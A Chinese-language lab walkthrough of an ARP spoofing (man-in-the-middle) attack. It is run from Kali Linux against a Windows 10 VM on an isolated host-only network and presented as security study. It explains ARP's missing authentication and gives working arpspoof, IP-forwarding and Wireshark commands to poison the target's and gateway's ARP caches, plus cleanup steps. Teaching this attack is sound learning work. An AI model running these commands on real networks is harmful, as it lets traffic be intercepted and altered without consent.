ARP欺骗攻击实现
免责声明:本文实验均在本地隔离虚拟机环境中进行,仅供安全学习研究使用,请勿用于未授权的网络环境。
| 项目 | 配置 |
| 攻击机 | Kali Linux,IP:192.168.56.101,网卡:eth0 |
| 目标机 | Windows 10,IP:192.168.56.102 |
| 网关 | 192.168.56.1 |
| 实验工具 | arpspoof、Wireshark |
| 网络模式 | 虚拟机仅主机模式,确保隔离 |
1. ARP 协议是干什么的
ARP(地址解析协议)的作用是把 IP 地址翻译成 MAC 地址。简单说就是:你的电脑知道网关的 IP 是 192.168.56.1,但不知道怎么把数据包送过去,于是问局域网里"谁有 192.168.56.1 这个 IP?"——这就是 ARP 请求
2. ARP 的信任机制缺陷
ARP 协议设计时没有认证机制——它默认相信所有收到的 ARP 响应都是真的。也就是说,即使你的电脑没有发起过请求,网关突然回了一条"我是 192.168.56.1,我的 MAC 是 XX:XX:XX",你的电脑也会直接相信并更新自己的 ARP 缓存表
3. 攻击者怎么利用这个缺陷
攻击者不停往局域网里发伪造的 ARP 响应包,说"我是网关",目标主机就会把网关的 MAC 地址替换成攻击者的 MAC 地址——这就是 ARP 欺骗/ARP 投毒。之后目标主机的所有流量都会经过攻击者,攻击者就能截包、分析甚至篡改数据
第一步
在kali执行:ip addr
在windows10命令提示符执行:ipconfig
确认kali和Windows10的网段,然后用ping互通一下
第二步
在Windows10里先看一下正常状态
在命令提示符输入:arp -a
记录网关IP(例如:192.168.56.1)对应的mac地址,后续用于对比验证arp缓存是否被污染
第三步
在kali的终端窗口输入:echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward(作用:在kali上开启IP转发)
用cat /proc/sys/net/ipv4/ip_forward可以验证,输出1表示已开启
第四步
假设实验网段是
kali:192.168.56.101
windows10:192.168.56.102
网关:192.168.56.1
网卡:eth0(不知道网卡,可以在kali中用ifconfig命令查看)
在kali打开两个终端分别输入:
sudo arpspoof -i eth0 -t 192.168.56.102 192.168.56.1(含义:告诉win10,网关mac是我)
sudo arpspoof -i eth0 -t 192.168.56.1 192.168.56.102(含义:告诉网关,win10的mac是我)
补充说明:-t 后面的两个IP,第一个是目标主机,第二个是网关。如果你需要替换实验中的IP,按照这个顺序修改即可
第五步
在Windows10上执行:arp -a
如果看到网关IP对应的mac变成了kali的mac,说明arp缓存已经被污染了,此时Windows10还能上网,但是流量会经过kali。
可以在kali上打开wireshark选择对应网卡抓包,在过滤器栏输入 arp 即可筛选arp流量,能看到kali持续伪造arp响应
第六步
实验结束后,在kali用ctrl+c停掉arpspoof,然后关闭转发:
echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward
在Windows10上以管理员身份运行CMD,然后执行:arp -d *
然后用arp -a确认网关mac恢复正常